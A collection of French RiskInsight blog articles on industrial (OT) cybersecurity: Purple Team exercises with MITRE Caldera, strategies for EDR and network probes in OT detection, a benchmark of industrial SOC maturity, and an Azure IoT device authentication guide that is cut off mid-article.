De la conformité à l’efficacité : un changement de paradigme dans les KPI 

KPI signifie Key Performance Indicator (indicateur clé de performance). Cependant, nous avons tendance à créer des KPI pour suivre la progression par rapport à nos plans, non la performance réelle. Bien que cela soit utile, surveiller uniquement le déploiement ou la couverture (nombre de sites connectés au SOC, déploiement d’EDR sur les machines OT, nombre de sondes enregistrées sur la console de gestion) en dit très peu sur la capacité réelle de votre SOC à détecter un attaquant. 

Alors, quel niveau de confiance avez-vous dans vos outils de détection, vos use cases et vos processus ? La seule façon d’en être sûr est simple : les tester.  

Et le meilleur moyen de les tester est d’organiser des exercices de Purple Team. 

Qu’est-ce que le Purple Teaming en OT ? 

Un exercice de Purple Team est une mission collaborative entre la Red Team (attaquants) et la Blue Team (défenseurs). Contrairement à une évaluation Red Team classique, où les équipe de défense ne sont pas tenus informés, un exercice de Purple Team est un effort conjoint et itératif. 

Cette approche collaborative permet aux deux équipes de : 

• Partager les hypothèses sur l’environnement OT 
• Valider la logique de détection en temps réel 
• Identifier les zones d’ombre 
• Améliorer les playbooks et les pipelines de détection 
• Aligner tout le monde sur un modèle de menace réaliste 

Réaliser un exercice de Purple Team 

Un exercice Purple Team se déroule en trois grandes phases : 

1. Préparation

La phase de préparation est souvent la plus difficile, en particulier en OT, où la sureté de fonctionnement, la disponibilité de l’outil industriel et la dépendance aux fournisseurs doivent être prises en compte. 

Selon la maturité de l’organisation, la préparation peut aller du très simple au très sophistiqué : 

• Tests unitaires 
  Petits tests isolés de règles de détection spécifiques (ex. : « Détecter le code fonction Modbus 90 »). 
• Tests basés sur des scénarios redoutés 
  Construire des scénarios autour des « crown jewels » de l’organisation et des modes de défaillance (ex. : « Téléversement non autorisé d’un programme sur un automate contrôlant un procédé critique »). 
• Tests enrichis par la CTI 
  Intégrer la Threat Intelligence : tester les techniques utilisées par de vrais attaquants ciblant l’OT (ex. TTP de Volt Typhoon, Sandworm, Xenotime ou de groupes ransomware visant les environnements industriels). 

Pour structurer la phase de préparation, deux éléments sont essentiels : 

• Une bonne connaissance de votre environnement OT 
  Planifier un exercice pertinent pour les risques métier et la détection OT, sans impacter le procédé, nécessite une connaissance approfondie du site et de son automatisation. 
• Un mapping sur la matrice MITRE ATT&CK for ICS 
  Mapper vos tests avec la matrice ATT&CK vous donne un langage commun avec les équipes de détection. Cela permet de sélectionner les techniques pertinentes, d’éviter les angles morts et de garantir une couverture sur plusieurs couches : postes opérateurs, automates, IHM … 

2. Jour J (Exécution)

L’exécution est réalisée conjointement : 

• La Red Team lance des actions contrôlées et autorisées 
• La Blue Team surveille les évènements détectés en temps réel 
• Les deux équipes ajustent, documentent et valident les résultats tout au long de l’exercice 

Selon le périmètre et la complexité des tests, une opération Purple Team en milieu industriel peut durer de quelques heures à quelques jours. 

Assurer la reproductibilité des tests avec Caldera 

Pour garantir la répétabilité et la cohérence entre les exercices Purple Team, l’automatisation devient essentielle. Nous utilisons Caldera, un framework open-source de Breach & Attack Simulation (BAS) développé par MITRE pour cela. 

En tant qu’ancien pentester, je n’ai jamais aimé le terme « pentest automatisé », mais les outils BAS sont ce qui se rapproche le plus d’une exécution de stimulis d’attaque répétable et sûre. 

Pourquoi utiliser Caldera plutôt que de réaliser tous les tests manuellement ? 

Caldera permet de : 

• Préparer et valider une liste contrôlée de tests sur une liste contrôlée d’actifs 
• S’assurer que seules des actions autorisées sont exécutées 
• Garantir la reproductibilité entre les environnements 
• Rejouer exactement les mêmes actions pour mesurer les améliorations après des changements de configuration 

Des plugins OT spécifiques existent déjà dans le module Caldera-OT, prenant en charge Modbus, Profinet, DNP3, etc. 

Récemment, Wavestone a publié deux plugins OT supplémentaires : 

• Support du protocole Siemens S7 
• Actions de communication OPC-UA 

Caldera en bref 

L’utilisation de Caldera repose sur quatre notions de base : 

• Abilities : actions techniques atomiques (ex. lecture de coils, écriture de tags, scan d’un automate) 
• Adversaries : collections d’abilities formant un scénario 
• Operations : exécution en temps réel de ces adversaries sur une cible 
• Fact sources : paramètres fournis pour une opération ; on peut ainsi lancer les mêmes opérations sur différents environnements en changeant seulement la source de facts 

La vidéo suivante présente une démonstration de Caldera sur notre maquette ICS : 

3. Débriefing

La majorité de la valeur ajoutée de l’exercice provient du debrief. Les types suivants de KPI peuvent être utilisés : 

• Couverture de détection – quel pourcentage des stimuli exécutés a été détecté ? 
• Qualité des alertes – les alertes étaient-elles exploitables, précises et compréhensibles ? 
• Temps de réaction – combien de temps avant qu’une alerte soit déclenchée puis reconnue ? 
• Efficacité des playbooks – les bonnes actions ont-elles été prises dans les délais attendus ? 

Ces résultats peuvent permettre d’aboutir à : 

• Des règles de détection mises à jour 
• Des playbooks SIEM/SOC améliorés 
• Une meilleure architecture de supervision 
• Du matériel de formation pour les analystes et ingénieurs 

Commencez à tester dès maintenant ! 

Le Purple Teaming apporte une valeur immédiate, quel que soit votre niveau de maturité actuel : 

• Il valide vos outils dans des conditions réelles 
• Il forme vos équipes SOC et OT 
• Il révèle les angles morts tôt dans le programme 
• Il fournit des KPI quantitatifs pour piloter les améliorations de détection 

Et oui, cela est possible dans la plupart des environnements de production, sous les conditions suivantes : 

• Périmètre strictement contrôlé 
• Actions approuvées par les fournisseurs 
• Pas d’exécution de fonctions perturbatrices 
• Implication des équipes opérationnelles et sécurité 
• Surveillance continue du comportement du système pendant les tests 

En bref : commencez petit, restez prudent, et itérez. 

N’attendez pas que votre programme de sécurité OT soit “terminé” pour commencer à en tester l’efficacité ! 

Cet article Purple Teaming pour l’OT : Comment passer de la conformité à la performance ? est apparu en premier sur RiskInsight.

Dans cet article précédent : Quelle détection pour l’OT ?  Situation actuelle & perspectives, nous avons constaté que l’OT, bien que moins touché que l’IT, n’est pas exempt ni immunisée contre les cyberattaques. Toutefois, en raison de la difficulté à mettre à jour les systèmes de contrôle industriels (ICS), les mesures de cybersécurité sont souvent ajoutées après le déploiement. Le monitoring continu est perçu comme un substitut pratique à une protection intégrée dès la conception (cyber-by-design).

En matière d’outillage de monitoring, nous avons observé que 100 % de nos clients disposent d’outils de détection déployés du côté IT. Cependant, seul un tiers étend cette surveillance jusqu’aux couches inférieures de l’environnement industriel :

Il existe une grande variété de sources de détection permettant une surveillance (monitoring) à travers les différents niveaux du modèle Purdue :

• Logs de pare-feu (y compris industriels)
• Logs des protection des endpoints (antivirus, whitelisting d’applications, EPP, EDR, etc.)
• Logs d’authentification et d’accès (par exemple, Active Directory ou authentification locale)
• Logs d’accès distant (par exemple, VPN, serveurs de rebond, bastion)
• Les honeypots et autres
• Sondes de détection et de surveillance réseau (écoute des réseaux industriels)
• Logs des stations blanches (par exemple, bornes USB)
• Logs industriels (provenant des systèmes SCADA, IHM, PLC… lorsqu’ils sont disponibles)

Traditionnellement, peu de ces logs sont collectés et analysés par les solutions SIEM et/ou SOAR, avec ou sans modèles de détection OT spécifiques. Pourtant, ils devraient permettre à l’équipe du SOC de détecter, d’enquêter sur les événements de sécurité et d’y répondre.

Élaborer une stratégie de détection cohérente pour les environnements OT ne nécessite pas de collecter les données de toutes les sources possibles. En réalité, quelques sources bien choisies, correctement configurées, peuvent permettre d’offrir une forte visibilité et de solides capacités de détection. L’essentiel est de se concentrer sur les sources de logs qui sont à la fois pertinentes au regard de l’architecture OT et facile à mettre en place sans perturber les opérations. Prioriser la qualité et la pertinence opérationnelle des sources de détection plutôt que leur quantité permet d’assurer une posture de cybersécurité plus efficace et durable.

Comment tirer le meilleur parti des sources de détection ?

Commencer avec les logs déjà disponibles

Une approche pragmatique et rentable de la détection OT consiste à commencer par exploiter les logs et les modèles de détection déjà disponibles dans l’environnement industriel, en particulier ceux qui sont déjà utilisés pour vos environnements IT. Par exemple, les logs des pares-feux, notamment ceux qui surveillent les périmètres IT/OT, peuvent fournir des informations précieuses sur les schémas de trafic réseau, les violations de segmentation ou les tentatives d’accès distant suspectes. De même, les logs Active Directory (AD) peuvent révéler des comportements utilisateurs anormaux, des échecs d’authentification ou des élévations de privilèges — tous étant des signaux critiques dans les contextes IT et OT. L’exploitation de ces sources existantes permet aux organisations de mettre en place des capacités de détection initiales sans investissement lourd, tout en posant une base solide pour une surveillance plus avancée à l’avenir.

Plutôt que de commencer par le déploiement d’outils de détection complexes spécifiques à l’OT, les organisations devraient construire leurs capacités de détection initiales en utilisant ce qui est déjà déployé, configuré et maîtrisé. Cette approche permet non seulement de réduire les coûts, mais aussi d’accélérer la mise en œuvre sur l’ensemble des sites industriels. L’objectif est d’assurer un niveau de visibilité de base cohérent sur les applications, les systèmes et les infrastructures critiques avant d’approfondir la surveillance.

En commençant par l’existant et en se concentrant sur la couverture plutôt que sur la complexité, les organisations peuvent aborder la détection OT avec rapidité, pertinence et réalisme opérationnel, tout en préparant le terrain pour des capacités plus avancées à l’avenir.

Nous allons maintenant aller plus loin en nous concentrant sur les deux outils de détection les plus déployés et discutés dans les environnements industriels aujourd’hui : les solutions EDR et les sondes de détection réseau.

EDR

Les solutions EDR (Endpoint Detection & Response) offrent une surveillance et une analyse continues des activités des points de terminaison afin de détecter les cybermenaces, d’y enquêter et d’y répondre en temps réel. L’EDR collecte des données détaillées telles que l’exécution des processus, les modifications de fichiers, les connexions réseau et le comportement des utilisateurs. En s’appuyant sur l’analyse comportementale et les renseignements sur les menaces (threat intelligence), les outils EDR peuvent identifier des activités suspectes comme les infections par logiciels malveillants, les mouvements latéraux ou les élévations de privilèges.

Cet outil de détection, largement utilisé dans les environnements IT, est désormais adopté par la majorité de nos clients pour un déploiement au sein de leurs environnements industriels.

Cependant, cela ne signifie pas que 100 % des dispositifs OT sont compatibles avec les solutions EDR. En réalité, la compatibilité des EDR varie considérablement selon la diversité des systèmes industriels et leurs contraintes opérationnelles. Le déploiement de l’EDR est généralement simple aux niveaux supérieurs du modèle Purdue, tels que la Couche 3 et la Couche 3.5, où les systèmes (serveurs et postes de travail) ressemblent à des environnements IT traditionnels. À la Couche 2, l’implémentation exige des tests approfondis et une personnalisation, car les dispositifs et les protocoles sont plus spécialisés et leurs ressources limitées. Enfin, aux niveaux les plus bas (contrôleurs, PLC et équipements de terrain), l’EDR n’est généralement pas viable en raison de leur capacité de traitement limitée, de leurs systèmes d’exploitation propriétaires et de leurs exigences de performance en temps réel. Le déploiement sur de tels dispositifs risque de perturber les processus critiques ou de provoquer l’instabilité du système, et doit donc être évité.

Pour les environnements qui le supportent, l’extension de la couverture EDR permet :

• Répondre à la faible maturité : Commencer par des outils plus simples à mettre en œuvre et nécessitant une maturité moindre.
• Couverture étendue : Se concentrer sur la couverture rapide d’un large éventail de systèmes, de sites et d’applications critiques.
• Exploiter les outils IT : Utiliser des solutions basées sur la IT, comme l’EDR, pour une détection efficace sans nécessiter de lourdes exigences d’infrastructure.

Pour conclure, le déploiement d’agents EDR sur les serveurs et les postes de travail OT devient de plus en plus pertinent et représente une possibilité de gain rapide pour la détection OT, selon les retours de nos clients.

Les Sondes de Détection OT

Une sonde de détection (detection probe) est un équipement, qu’il soit virtuel ou physique, connecté au système d’information afin de le cartographier et de le surveiller. Elle est composée de capteurs distribués à travers le réseau pour collecter des données, et typiquement, d’une console centrale pour agréger, corréler et analyser ces informations.

 Les sondes destinées aux environnements industriels, que nous appellerons ici simplement sondes OT, se caractérisent par leur écoute passive et non invasive sur le réseau, ainsi que par leur compréhension des protocoles et comportements industriels. Toutes ces solutions de sondes fonctionnent sur le même principe : le trafic réseau est collecté via une duplication de flux (SPAN, ERSPAN…) ou un duplicateur physique (Taps, etc.). Les paquets sont inspectés en temps réel pour fournir plusieurs types de données : inventaire et cartographie des flux, gestion des actifs et des vulnérabilités, et enfin, détection des anomalies et des incidents. Ce sont précisément les larges capacités de détection promises ainsi que la variété des cas d’usage possibles de ces données et des types d’utilisateurs impliqués (équipes opérationnelles et métiers, équipes de cybersécurité, etc.) qui rendent les sondes OT si populaires.

Cependant, nos clients sont souvent confrontés à des défis importants lorsqu’il s’agit de déployer ces sondes à grande échelle et de les exploiter efficacement pour la détection sur l’ensemble des réseaux industriels.

Voici les défis fréquemment rencontrés lors du déploiement des sondes OT :

• Défis liés aux capacités et aux ressources du réseau des sites industriels : Le déploiement des sondes OT présente souvent des défis significatifs en raison des limites de l’infrastructure réseau industrielle. Les taps réseau et les ports SPAN sur les commutateurs, couramment utilisés pour la surveillance du trafic, ne sont pas toujours manageables ou disponibles dans les environnements OT, ce qui limite les options de capture de trafic passif. De plus, les coûts associés à l’installation de taps réseau peuvent être prohibitifs. Enfin, le déploiement et la maintenance des sondes exigent des ressources qualifiées sur place.
• Défis liés à la sélection des points d’écoute : Les sondes OT collectent et corrèlent l’information via la capture de trafic réseau. Pour être efficace, leur déploiement nécessite une sélection minutieuse des points d’écoute en fonction des cibles visées. Les points d’écoute doivent être adaptés à l’architecture de chaque site, un processus souvent limité par les connaissances des équipes locales et le manque de documentation. De plus, comme les environnements industriels varient d’un site à l’autre au sein d’une même organisation, il est très difficile d’établir un standard unique. Par conséquent, la sélection et la configuration des points d’écoute constituent un processus répétitif et itératif qui doit être ajusté pour chaque déploiement afin de garantir une visibilité et des capacités de détection optimales.

Au-delà du déploiement, l’exploitation de ces sondes s’accompagne également de défis et exige une charge de travail significative. Elles ont tendance à générer un nombre élevé de faux positifs, ce qui oblige les équipes à créer des règles de détection et des playbooks sur mesure pour filtrer et répondre efficacement aux alertes. En moyenne, nous estimons qu’un analyste SOC à temps plein est requis pour gérer les alertes générées par 50 sondes.

En conclusion, bien que les sondes OT soient populaires, les coûts et les ressources nécessaires à leur déploiement et à leur exploitation limitent leur pleine utilisation. Notre recommandation est de prioriser le déploiement des sondes OT sur les sites critiques ou au sein des segments réseau clés qui exigent des capacités avancées de surveillance industrielle. Cette approche ciblée permet de maximiser le retour sur investissement tout en garantissant une détection efficace là où elle est essentielle pour nos clients.

Envisager d’autres solutions ?

Concernant la détection pour le périmètre industriel, bien que cet article se concentre sur des sources clés comme les solutions EDR et les sondes réseau OT, il est important de reconnaître que d’autres solutions, telles que les technologies de leurre comme les honeypots, peuvent également jouer un rôle précieux et être pertinentes dans des scénarios ou environnements spécifiques, en fonction de l’architecture de vos sites industriels ou des scénarios de compromission redoutés.

Conclusion

Pour conclure, voici les recommandations clés pour élaborer une stratégie d’outillage de détection efficace pour mettre sous surveillance des environnements industriels :

1. Tirez parti des outils existants pour un impact immédiat

Commencez par maximiser la valeur des sources de détection déjà disponibles dans votre environnement industriel : logs de pare-feu, EDR, Active Directory, logs d’accès distant, etc. L’adaptation à l’OT des patterns de détection IT éprouvés permet aux organisations d’atteindre rapidement un niveau de visibilité de base sans nécessiter d’investissements lourds. Cette première approche garantie un déploiement plus rapide et une couverture plus large de vos assets industriels.

2. Déployer des solutions avancées là où elles sont pertinentes

Lorsque vous étendez vos capacités de détection, donnez la priorité au déploiement d’outils avancés tels que les sondes réseau OT là où ils apportent le plus de valeur. Pour les sondes réseau, concentrez-vous sur les sites ou segments critiques et sélectionnez soigneusement les points d’écoute afin d’optimiser la visibilité, le coût et les frais généraux opérationnels. Cette approche de déploiement ciblée garantit une utilisation efficace et stratégique des ressources.

3. Prioriser la qualité et la pertinence plutôt que la quantité

Pour élaborer une stratégie de détection OT efficace, il n’est pas nécessaire d’écouter toutes les sources de données possibles. Concentrez-vous plutôt sur les sources qui sont à la fois pertinentes pour votre environnement et techniquement exploitables, sans perturber les opérations. Cette approche permet de réduire les coûts de stockage et de gestion des journaux et de créer des règles de détection pertinentes et de meilleure qualité.  

N’hésitez pas à nous contacter pour discuter de la manière dont vous pouvez élaborer et améliorer votre stratégie de détection pour surveiller vos actifs industriels !

Dans notre prochain article, nous examinerons comment évaluer la détection en environnements industriels en utilisant des exercices de purple team, une méthode pratique pour évaluer et améliorer vos capacités de détection.

Cet article ​​Stratégie d’outillage cybersécurité pour une détection industrielle efficace​ est apparu en premier sur RiskInsight.

L’OT, bien que globalement moins touché que l’IT, n’est pas exempt de cybermenaces. Voici une vue simplifiée de ces principales menaces :  

• Hacktivisme : Les tensions géopolitiques accrues en 2025 ont entraîné des attaques de faible intensité par des groupes comme CyberArmyofRussia_Reborn et CyberAv3ngers.  
• Cybercriminalité / Ransomware : Une augmentation de 87 % des attaques par ransomware dans les groupes industriels a été constatées en 2025 d’après les chiffres de Dragos dans son rapport annuel.  
• Menaces étatiques : On note les campagnes récentes telles que Voltzite (vol d’informations OT) ou IOControl.

Ce panorama des menaces a notamment été dépeint par Chris Sistrunk, ICS/OT Technical Leader chez Mandiant, Google Cloud Security, lors de la Black Hat 2025 :  

Face à l’augmentation des menaces ciblant les environnements OT, leur surveillance continue est devenue essentielle. Les systèmes d’information industriels doivent être étroitement surveillés, et nous savons que nos clients y travaillent activement. Mais une question demeure : comment mesurer l’efficacité de la détection en environnement industriel, et surtout, comment l’améliorer ?  

Comment mesurer et améliorer l’efficacité de la détection en environnement industriel ? 

Pour répondre à cette question, nous avons élaboré une méthodologie visant à évaluer les capacités de détection au sein des SOC industriels.  

Cette évaluation s’articule autour des activités clés d’un SOC, réparties en quatre grands piliers : gouvernance & stratégie, prévention, détection et réponse.

En nous appuyant sur cette méthode, nous avons évalué une quinzaine de clients industriels afin de mieux comprendre leur niveau de maturité. Dans cet article, nous partageons les principales tendances qui en ont émergé, en nous concentrant spécifiquement sur les questions liées à la détection.  

Deux articles complémentaires seront publiés : l’un dédié à l’efficacité des différentes stratégies et solutions de détection, et l’autre aux méthodes de test des capacités de détection dans des environnements industriels à l’aide d’exercices de purple teaming et des modules dédiés que nous avons développés.  

Gouvernance et Stratégie  

La première question sur laquelle nous nous sommes concentrés était de savoir si la supervision des sites et environnements industriels est assurée par une équipe dédiée utilisant des outils spécifiques ou si, au contraire, elle est intégrée dans une approche d’un SOC unique et centralisé.  

Les réponses sont unanimes :  

Ces chiffres peuvent s’expliquer par plusieurs facteurs. L’une des principales raisons est l’optimisation financière. Maintenir deux équipes distinctes aux compétences et rôles similaires : gestion des alertes, configuration des outils … représente un coût important.  

Cependant, un SOC unifié implique généralement une extension du périmètre de son SOC IT pour inclure l’OT, sans pour autant garantir la présence d’outils ou d’expertises spécifiques à l’OT, et donc de véritables capacités de détection pour couvrir les environnements industriels.  

Même si cette approche ne garantit pas une détection et une réponse efficace sur l’ensemble du périmètre industriel, un SOC unifié peut tout de même gérer efficacement les incidents OT, à condition de : 

Assurer supervision de bout en bout  

En examinant de plus près le paysage simplifié des menaces, on constate que les cyberattaques ne sont pas forcément spécifiques à l’IT ou à l’OT (hacktivisme, ransomware …).  

Les ransomwares par exemple, qui représentent toujours aujourd’hui la principale menace, ne se limitent pas à un environnement industriel ou bureautique. Ils se propagent souvent à travers les deux, rendant indispensable le suivi des alertes de bout en bout.  

Ainsi, unifier les équipes et les outils de détection fait sens, puisque les attaques ne se limitent pas à l’IT ou OT. 

Faire le lien avec les sites industriels 

En cas d’incident cyber, le temps de réponse et le partage d’informations est essentiel. Comme la plupart des équipes de sécurité sont centralisées en un seul lieu, il est nécessaire d’établir un lien, au travers d’un relais cyber local, entre ces équipes centrales et les sites industriels locaux dans le processus de gestion des incidents cyber :  

• Ce relais connaît bien les sites industriels, leurs caractéristiques, contexte opérationnel et modes de fonctionnement.  
• Il maintient également un contact direct sur site pour recueillir rapidement les informations nécessaires au triage, ou à l’investigation.  
• De plus, dans les organisations globales, disposer de ressources situées dans les bons fuseaux horaires et capables de communiquer dans la langue locale est indispensable, en particulier dans le monde industriel.  

Appelés dans le schéma ci-dessous des « référents Cyber-OT », ces relais jouent un rôle actif dans le processus de résolution des incidents, en particulier durant les phases d’investigation et de remédiation :

En conclusion, bien que ces SOC unifiés couvrant à la fois les périmètres IT et l’OT résultent généralement d’un besoin d’optimisation des coûts, ce modèle fait sens dans la mesure où de nombreuses menaces concernent les deux environnements. Toutefois, il ne faut pas considérer un SOC unifié comme une simple extension du périmètre à couvrir : des relais OT dédiés et une expertise spécifique sont indispensables pour adresser efficacement les environnements industriels. 

Outillage et solution de détection  

En ce qui concerne les solutions de détection, nous avons constaté que 100 % de nos clients disposent d’outils de détection déployés côté IT. Cependant, seulement un tiers étend la supervision jusqu’aux couches inférieures de l’environnement industriel.  

Nous nous concentrerons par la suite sur les solutions les plus populaires pour adresser la détection dans les environnements industriels : les EDR et les sondes OT.  

EDR  

Quelques chiffres concernant les EDR :  

La plupart de nos clients ont commencé à déployer des EDR dans leurs environnements industriels. Cependant, cela ne signifie pas que 100 % des machines industrielles compatibles avec les EDRs sont couvertes.  

Pour les environnements qui le permettent, étendre la couverture EDR permet de :  

• Répondre à une maturité faible : commencer par des outils simples à déployer et qui ne nécessitent pas de connaissances avancées de l’architecture des sites.  
• Assurer une couverture large spectre : se concentrer sur la couverture rapide d’un large éventail de systèmes, de sites et d’applications critiques.  
• Tirer parti des solutions de l’IT : utiliser des solutions IT comme les EDRs pour une détection efficace sans nécessiter d’adaptation majeure des équipes SOC.  

Pour cette dernière raison, la plupart des organisations choisissent d’utiliser la même solution EDR pour les environnements IT et OT. Cela permet un déploiement plus rapide grâce à un outil connu et déjà intégré. Selon les besoins et les ressources disponibles, une solution différente peut toutefois être sélectionnée afin d’améliorer la résilience et la compatibilité OT.

Pour conclure, dans un contexte de convergence IT/OT, déployer des EDR sur les serveurs et postes de travail industriels devient de plus en plus pertinent et selon les retours d’expérience de nos clients, permet d’étendre rapidement et efficacement la couverture de détection des périmètres industriels.   

Sondes de détection OT 

Quelques chiffres concernant les sondes :   

En ce qui concerne les sondes, l’écart entre ces deux chiffres met en lumière le défi que représente leur déploiement à grande échelle et leur utilisation efficace pour la détection dans les réseaux industriels.  

En effet, les sondes collectent des informations via la capture du trafic réseau. Pour être efficaces, leur déploiement nécessite une sélection des points d’écoute en fonction des objectifs cibles. Ces points d’écoute doivent être adaptés à l’architecture spécifique de chaque site, souvent limité par la connaissance locale des équipes ou le manque de documentation.  

L’exploitation de ces sondes demande également une charge de travail importante. Elles ont tendance à générer un grand nombre de faux positifs, ce qui oblige les équipes à créer des règles de détection personnalisées et des playbooks pour filtrer et répondre efficacement.  

En conclusion, les sondes de détection OT sont peut-être populaires, mais les coûts et les ressources nécessaires pour leur déploiement et leur ajustement limitent leur pleine utilisation.  

Commencer par couvrir l’essentiel avec la détection d’outils OT 

En définitive, pour la détection OT, nous pensons qu’il faut commencer par des mesures basiques en tirant parti des outils « IT » afin d’assurer un premier niveau de couverture sur l’ensemble des sites, des applications critiques et de l’infrastructure en :  

• Priorisant les assets critiques : Se concentrer sur les systèmes clés (MES, outils de sécurité, infrastructure réseau) essentiels à la production, en veillant à leur mise sous supervision avant d’étendre le déploiement aux couches inférieures du modèle de Purdue.  
• Mettant en place une détection basique : Établir une détection fondamentale sur les sites et l’infrastructure pour permettre une identification en amont des incidents, avant de passer à des solutions OT plus avancées.  

S’entraîner et se tester 

Les capacités de détection ne reposent pas uniquement sur le déploiement d’outils ; cette dernière partie des conclusions du benchmark se concentrera sur la capacité des équipes à les exploiter efficacement.  

La nécessité de renforcer les connaissances spécifiques à l’OT 

Les chiffres issus du benchmark révèlent une connaissance et adaptation limitées des équipes et des processus aux environnements industriel :   

Pour combler cet écart, les équipes doivent bénéficier de formations spécifiques aux contextes industriels : une formation de base pour l’ensemble des analystes SOC, et une formation approfondie pour les spécialistes OT.   

De la même manière, les processus d’investigation et de réponse doivent également être adaptés pour répondre aux spécificités des environnements industriels, en prenant en compte des priorités comme la disponibilité.  

Testez vos capacités de détection !  

Enfin, l’amélioration de la détection commence par son évaluation, mais aujourd’hui… 

Seule une petite minorité de nos clients teste réellement ses capacités de détection, mais nous sommes convaincus de la valeur ajoutée des exercices de purple teaming dans les environnements industriels. Ces exercices collaboratifs avec le SOC OT, adaptés à son niveau de maturité et à ses objectifs, permettent de tester et d’améliorer à la fois les outils de détection et les processus du SOC OT.   

Il est possible de commencer simplement : en sélectionnant des environnements de production appropriés et en réalisant quelques tests basiques, comme l’insertion d’une clé USB contenant un échantillon de malware standard ou la tentative de quelques actions d’élévation de privilèges… 

On peut ainsi évaluer si l’EDR déployé sur un poste de travail connecté au SOC déclenchera une alerte et une investigation.  

Ces exercices permettent d’identifier les angles morts et d’ajuster en conséquence les outils déployés, les processus et les playbooks.  

Conclusion : Comment renforcer le faible niveau de maturité en matière de détection pour les systèmes industriels ? 

La première conclusion du benchmark est claire : les niveaux de maturité sont faibles, et cette réponse est constante dans toutes les réponses recueillies. Comment améliorer cette maturité globalement faible en matière de détection pour les systèmes industriels ? 

Voici les principaux enseignements concernant les trois thématiques abordées dans cet article : 

N’hésitez pas à nous contacter pour échanger sur la manière de renforcer vos capacités de détection et d’évaluer votre maturité par rapport au marché ! 

Cet article ​Quelle détection pour l’OT ?  Situation actuelle & perspectives est apparu en premier sur RiskInsight.

Azure, ces dernières années, s’impose de plus en plus dans ce secteur, comme a pu le souligner le Gartner, qui les classe dans les leaders visionnaires des plateformes IIoT [1] en raison de ses capacités, et de sa couverture quasiment complète de tous les cas d’utilisation et secteurs d’activité.

L’IoT, par nature souvent largement exposé, voire sur Internet, peut-être la cible d’attaques.

Avant de passer à des recommandations spécifiques pour protéger vos dispositifs IoT et vos données, examinons comment les différents services d’Azure IoT peuvent être utilisés ensemble pour créer des solutions IoT sécurisées.

Présentation de l’offre Azure IoT

Microsoft Azure IoT est une plateforme de bout en bout pour la connectivité, l’analyse et la visualisation de données provenant d’appareils IoT. Elle offre également une interconnexion avec les autres services standards d’Azure comme Azure Machine Learning ou encore Azure SQL Database.

Azure IoT propose deux écosystèmes de solutions à ses clients :

• Azure IoT Central est une aPaaS, application Platform as a Service, entièrement managée qui simplifie la création de solutions IoT. Ce service est responsable de connecter, gérer et exploiter des flottes d’appareils, et fournit à une interface utilisateur de gestion. Azure IoT Central est en réalité un agrégat de différents services Azure IoT comme Azure IoT Hub ou encore Azure IoT Hub Device Provisioning Service (DPS).

Azure IoT Central propose des modèles d’application selon plusieurs domaines d’activité : Retail, Santé, Energie, Industrie, etc., et vise une mise en œuvre « clés en main ».  

• Un écosystème personnalisé grâce aux différents services PaaS, Platform as a Service, d’Azure. Dans cet écosytème, deux services ; Azure IoT Hub et Azure Digital Twins sont les fondations d’une solution IoT. Nous les avons également combinés à Azure Device Provisionning et Azure Device Update pour une couverture des besoins cybersécurité optimale.

Ces deux écosystèmes permettent à Azure de répondre à tous types de besoins IoT et IIoT :

• Azure IoT Central est un très bon service si vous souhaitez développer rapidement une application peu complexe grâce à son catalogue de modèle d’application.
• Si vous souhaitez une solution personnalisée, ou avec des fonctionnalités non supportées par Azure IoT Central : optez pour un écosystème fondé sur Azure IoT Hub.

Maintenant que nous avons une bonne compréhension des écosystèmes d’Azure IoT, il est important de se concentrer sur la sécurisation de ces écosystèmes. Comment protéger efficacement des dispositifs IoT et des données lors de l’utilisation des services Azure IoT ? C’est ce que nous allons étudier dans les prochaines parties.

Préambule : l’outil Azure CLI

Afin de gérer des ressources Azure, Microsoft met à disposition plusieurs outils, la plupart étant utilisables en CLI (Command Line Interface, ou en lignes de commandes). L’outil proposant le plus de fonctionnalités pour la gestion étant Azure CLI.

Cet outil, disponible pour les systèmes d’exploitation de type Windows et UNIX, permet notamment à un utilisateur membre d’un environnement Azure de gérer et d’obtenir des informations concernant des ressources Azure. Il est à noter que l’éventail des possibilités de cet outil varie en fonction des droits que possède l’utilisateur sur les ressources en question.

Pour l’installer, Microsoft met à disposition une page dédiée expliquant les étapes pour tout type d’environnement.

Afin de l’utiliser, il suffit de se connecter à un compte utilisateur Azure via l’interface de commande choisie (Powershell ou Bash), puis d’entrer les commandes voulues. Lorsque l’utilisation de cet outil est terminée, une déconnexion du compte est recommandée.

Une utilisation classique de cet outil est présentée ci-dessous :

La documentation de cet outil, présentant et expliquant l’ensemble des commandes possibles, est disponible à cette adresse.

Cet outil sera utilisé par la suite lors d’exemple de manipulations techniques.

1^er vecteur de sécurisation : authentification des objets

L’authentification des appareils est cruciale pour une infrastructure Azure car elle permet de garantir que seuls les dispositifs autorisés puissent accéder aux ressources Cloud. Les services Azure IoT supporte deux principaux moyens d’authentification pour les dispositifs IoT :

• Un Jeton SAS (Shared Access Signature, ou SAS Token en anglais) est une chaine de caractères permettant d’authentifier des appareils, ainsi que des services. Un jeton SAP à la structure suivante :

Ce type d’authentification a une durée de validité définie et des permissions, qui lui sont attribué à partir d’une stratégie d’accès, sur un périmètre donné. La signature, quant à elle, est un élément crucial car elle est responsable de garantir la sécurité des communications entre l’objet et les services Azure, mais également de prouver l’identité du dispositif. Cette signature est générée à partir d’un secret qui doit être propre à chaque appareil.

• Un certificat X.509 [2] est un certificat numérique permettant une authentification forte de l’objet. Il contient des informations sur l’entité émettrice du certificat, la durée de validité du certificat mais également l’identité du sujet (par exemple : l’objet). L’une des forces des certificats est la capacité à pouvoir créer des chaines de certificats, et ainsi créer des relations de confiance:

En termes de sécurité, les certificats X.509 offrent un niveau de sécurité plus élevé, en supposant un algorithme cryptographique à l’état de l’art, car ils permettent de représenter des relations de confiance. Cependant, la gestion et l’utilisation des certificats peut impliquer une complexité supplémentaire pour un projet IoT.

Afin de forcer l’utilisation des certificats X.509 pour authentifier des objets connectés, il est possible d’interdire les jetons SAS pour un IoT Hub. En effet, les IoT Hubs d’Azure possèdent trois propriétés liées à l’utilisation ou non des jetons SAS :  disableLocalAuth, disableDeviceSAS et disableModuleSAS. Par conséquent, la bonne pratique associée à l’interdiction des jetons SAS passe par l’attribution de ces trois paramètres à True. Cette manipulation peut être réalisée à l’aide de l’outil Azure CLI :

La vérification des valeurs de ces mêmes paramètres peut également être réalisée à l’aide d’Azure CLI :

Dans l’exemple de réponse ci-dessous, la propriété disableDeviceSAS a été correctement paramétrée, ce qui n’est pas le cas des deux autres.

Le portail d’Azure permet également d’effectuer cette vérification :

